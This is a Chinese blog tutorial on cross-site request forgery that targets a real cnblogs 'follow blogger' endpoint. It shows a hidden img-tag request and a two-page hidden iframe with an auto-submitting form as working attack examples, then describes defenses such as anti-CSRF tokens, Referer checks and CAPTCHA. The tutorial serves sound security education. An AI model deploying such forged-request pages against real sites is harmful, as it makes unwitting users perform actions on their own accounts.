Web安全之CSRF攻擊

CSRF是什麼?html

CSRF(Cross Site Request Forgery),中文是跨站點請求僞造。CSRF攻擊者在用戶已經登陸目標網站以後,誘使用戶訪問一個攻擊頁面,利用目標網站對用戶的信任,以用戶身份在攻擊頁面對目標網站發起僞造用戶操做的請求,達到攻擊目的。chrome

舉個例子跨域

簡單版:瀏覽器

假如博客園有個加關注的GET接口,blogUserGuid參數很明顯是關注人Id,以下:安全

http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=4e8c33d0-77fe-df11-ac81-842b2b196315

那我只須要在個人一篇博文內容裏面寫一個img標籤:服務器

<img style="width:0;" src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=4e8c33d0-77fe-df11-ac81-842b2b196315"   />

那麼只要有人打開我這篇博文,那就會自動關注我。mvc

升級版:工具

假如博客園仍是有個加關注的接口,不過已經限制了只獲取POST請求的數據。這個時候就作一個第三方的頁面,但裏面包含form提交代碼,而後經過QQ、郵箱等社交工具傳播,誘惑用戶去打開,那打開過博客園的用戶就中招了。post

在說例子以前要糾正一個iframe問題,有人會直接在第三方頁面這樣寫。以下:網站

<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF SHOW</title>
</head>
     <body>
          <!--不嵌iframe會跳轉-->
          <iframe style="display:none;">
               <form  name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
                    <input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
                    <input type="submit" value>
               </form>
               <script>
                    document.forms.form1.submit();
               </script>
          </iframe>
     </body>
</html>

這樣是用問題的,因爲同源策略的緣由,iframe內容根本加載不出來,因此裏面form提交固然不會執行。

PS:我嘗試了chrome、IE十一、Firefox,狀況都是這樣。

因此能夠用嵌多一層頁面方式解決,以下:

第一個展現頁面(test):

<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF SHOW</title>
</head>
     <body>
          <iframe style="display:none;" src="test2.html"></iframe>
     </body>
</html>

第二個隱藏頁面(test2):

<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF GET</title>
<body>
     <form  name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
          <input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
          <input type="submit" value>
     </form>
     <script>
          document.forms.form1.submit();
     </script>
</body>
</html>

這樣就能夠解決了,有人會問爲何要加多一層iframe,由於不嵌iframe頁面會重定向,這樣就下降了攻擊的隱蔽性。另外咱們test頁面不使用XMLHTTPRequest發送POST請求,是由於有跨域的問題,而form能夠跨域post數據

進階版:

假如博客園仍是有個加關注的接口,已經限制POST,但博文內容是直接貼進HTML(未過濾),那就遭受XSS攻擊。那麼就能夠直接把上面代碼嵌入博文,那麼只要有人打開我這篇博文,仍是會自動關注我,這組合攻擊方式稱爲XSRF。

CSRF攻擊的本質緣由

CSRF攻擊是源於Web的隱式身份驗證機制!Web的身份驗證機制雖然能夠保證一個請求是來自於某個用戶的瀏覽器,但卻沒法保證該請求是用戶批准發送的。CSRF攻擊的通常是由服務端解決。

CSRF工具的防護手段

1. 儘可能使用POST,限制GET

GET接口太容易被拿來作CSRF攻擊,看第一個示例就知道,只要構造一個img標籤,而img標籤又是不能過濾的數據。接口最好限制爲POST使用,GET則無效,下降攻擊風險。

固然POST並非萬無一失,攻擊者只要構造一個form就能夠,但須要在第三方頁面作,這樣就增長暴露的可能性。

2. 瀏覽器Cookie策略

IE六、七、八、Safari會默認攔截第三方本地Cookie(Third-party Cookie)的發送。可是Firefox二、三、Opera、Chrome、Android等不會攔截,因此經過瀏覽器Cookie策略來防護CSRF攻擊不靠譜,只能說是下降了風險。

PS:Cookie分爲兩種,Session Cookie(在瀏覽器關閉後,就會失效,保存到內存裏),Third-party Cookie(即只有到了Exprie時間後纔會失效的Cookie,這種Cookie會保存到本地)。

PS:另外若是網站返回HTTP頭包含P3P Header,那麼將容許瀏覽器發送第三方Cookie。

3. 加驗證碼

驗證碼,強制用戶必須與應用進行交互,才能完成最終請求。在一般狀況下,驗證碼能很好遏制CSRF攻擊。可是出於用戶體驗考慮,網站不能給全部的操做都加上驗證碼。所以驗證碼只能做爲一種輔助手段,不能做爲主要解決方案。

4. Referer Check

Referer Check在Web最多見的應用就是「防止圖片盜鏈」。同理,Referer Check也能夠被用於檢查請求是否來自合法的「源」(Referer值是不是指定頁面,或者網站的域),若是都不是,那麼就很可能是CSRF攻擊。

可是由於服務器並非何時都能取到Referer,因此也沒法做爲CSRF防護的主要手段。可是用Referer Check來監控CSRF攻擊的發生,卻是一種可行的方法。

5. Anti CSRF Token

如今業界對CSRF的防護,一致的作法是使用一個Token(Anti CSRF Token)。

例子:

1. 用戶訪問某個表單頁面。

2. 服務端生成一個Token,放在用戶的Session中,或者瀏覽器的Cookie中。

3. 在頁面表單附帶上Token參數。

4. 用戶提交請求後, 服務端驗證表單中的Token是否與用戶Session(或Cookies)中的Token一致,一致爲合法請求,不是則非法請求。

這個Token的值必須是隨機的,不可預測的。因爲Token的存在,攻擊者沒法再構造一個帶有合法Token的請求實施CSRF攻擊。另外使用Token時應注意Token的保密性,儘可能把敏感操做由GET改成POST,以form或AJAX形式提交,避免Token泄露。

注意:

CSRF的Token僅僅用於對抗CSRF攻擊。當網站同時存在XSS漏洞時候,那這個方案也是空談。因此XSS帶來的問題,應該使用XSS的防護方案予以解決。

總結

CSRF攻擊是攻擊者利用用戶的身份操做用戶賬戶的一種攻擊方式,一般使用Anti CSRF Token來防護CSRF攻擊,同時要注意Token的保密性和隨機性。

參考文獻:

1. 《淺談CSRF攻擊方式

2. 《白帽子講Web安全》

 

本文爲原創文章,轉載請保留原出處,方便溯源,若有錯誤地方,謝謝指正。

本文地址 :http://www.cnblogs.com/lovesong/p/5233195.html

相關文章
相關標籤/搜索